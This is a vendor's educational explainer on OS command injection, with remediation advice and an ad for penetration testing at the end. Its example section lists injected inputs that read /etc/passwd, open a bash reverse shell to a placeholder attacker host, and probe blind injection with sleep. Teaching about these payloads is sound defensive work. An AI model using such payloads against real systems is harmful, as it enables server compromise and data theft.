Application Security · Learn

What is command injection?

Command injection lets an attacker run operating-system commands on the server by smuggling them into input that a web application passes to a shell. It is one of the fastest routes to full server compromise. Here is how it works and how to stop it.

Application Security · LearnApplication Penetration Testing
TL;DR

Command injection (OS command injection) is a web vulnerability where an application passes user input into a system shell without proper handling, so an attacker appends their own commands and runs them with the application’s privileges. A single vulnerable parameter can read files, open a reverse shell, and take over the host. It is caused by building shell commands from untrusted input, and the fix is to avoid the shell entirely by using safe APIs with argument arrays.

By Shubham Khandare, Delivery Manager, SecureLayer7Updated

What command injection is

Some applications run operating-system commands to do their work, for example calling ping or convert with a user-supplied value. Command injection happens when that value is placed into a shell command string without sanitisation.

Shells treat characters like ;, |, &, and ` `` as command separators, so an attacker who controls part of the string can append their own command. Because the command runs as the web server’s user, the impact is immediate server-side code execution.

How it works and example

Suppose the app runs ping -c 1 <user-input>. The attacker injects a separator and a second command:

  • 8.8.8.8; id runs id after the ping.
  • 8.8.8.8 | cat /etc/passwd pipes into a file read.
  • 8.8.8.8 && bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1' opens a reverse shell.
  • Blind injection (no output shown) is confirmed with time delays (; sleep 10) or out-of-band DNS callbacks.

Examples shown for defensive context.

How to fix it

  • Do not call a shell. Use safe APIs that pass arguments as an array directly to the executable (for example execve-style calls, subprocess with a list, not a string).
  • Avoid passing user input to OS commands at all where a native library can do the job.
  • If a value must be used, allow-list it strictly (for example a numeric ID or a fixed set), never escape-and-hope.
  • Run with least privilege to limit the blast radius.
  • Test every parameter that reaches a command for injection.

References

  1. [1]OWASP: OS Command Injection Defense(OWASP)
  2. [2]MITRE CWE-78: OS Command Injection(MITRE CWE)
  3. [3]OWASP Top 10(OWASP)
Related terms

Common questions

Command injection, asked often

Want your application tested for this?

Scope an engagement

Test your application for command injection and 30+ other classes.

Our application penetration test is manual, evidence-led, and built so your developers can reproduce and fix every finding. Each engagement ships with proof-of-exploit and a free re-test.

See the methodology30-min scoping call, fixed-price proposal in 48 hours.